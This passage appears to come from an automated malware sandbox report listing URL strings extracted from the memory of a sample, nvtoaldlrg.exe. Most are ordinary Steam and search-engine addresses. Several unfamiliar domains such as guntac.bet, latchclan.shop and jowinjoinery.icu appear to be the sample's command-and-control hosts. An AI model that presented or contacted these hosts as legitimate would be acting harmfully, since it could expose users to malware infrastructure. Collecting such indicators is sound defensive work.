Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.0000000001465000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combin
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=whw8EcafG167&l=e
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=Eq36AUaEgab8&l=en
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.0000000001465000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.0000000001465000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=PCCoCNLxwF4M&am
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.0000000001465000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.0000000001465000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: nvtoaldlrg.exe, 00000000.00000003.921555375.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://featureccus.shop:443/bdMAn
Source: nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://guntac.bet/
Source: nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://guntac.bet/bSHsyZD
Source: nvtoaldlrg.exe, 00000000.00000003.1045651117.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048195980.00000000044AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://guntac.bet/bSHsyZDC
Source: nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://guntac.bet:443/bSHsyZDal
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: nvtoaldlrg.exe, 00000000.00000003.994650409.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.923936426.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu:443/bdWUaicrosoft
Source: nvtoaldlrg.exe, 00000000.00000003.994650409.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.000000000146B000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.923936426.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://latchclan.shop:443/Wjquw
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: nvtoaldlrg.exe, 00000000.00000002.1048162417.00000000044A2000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: nvtoaldlrg.exe, 00000000.00000003.922358612.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/%M
Source: nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/-M
Source: nvtoaldlrg.exe, 00000000.00000003.923852702.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/5M2Ps
Source: nvtoaldlrg.exe, 00000000.00000003.923852702.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/=M:PA
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994573747.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/EB
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/F
Source: nvtoaldlrg.exe, 00000000.00000003.923852702.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.922358612.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/MB
Source: nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/System32
Source: nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
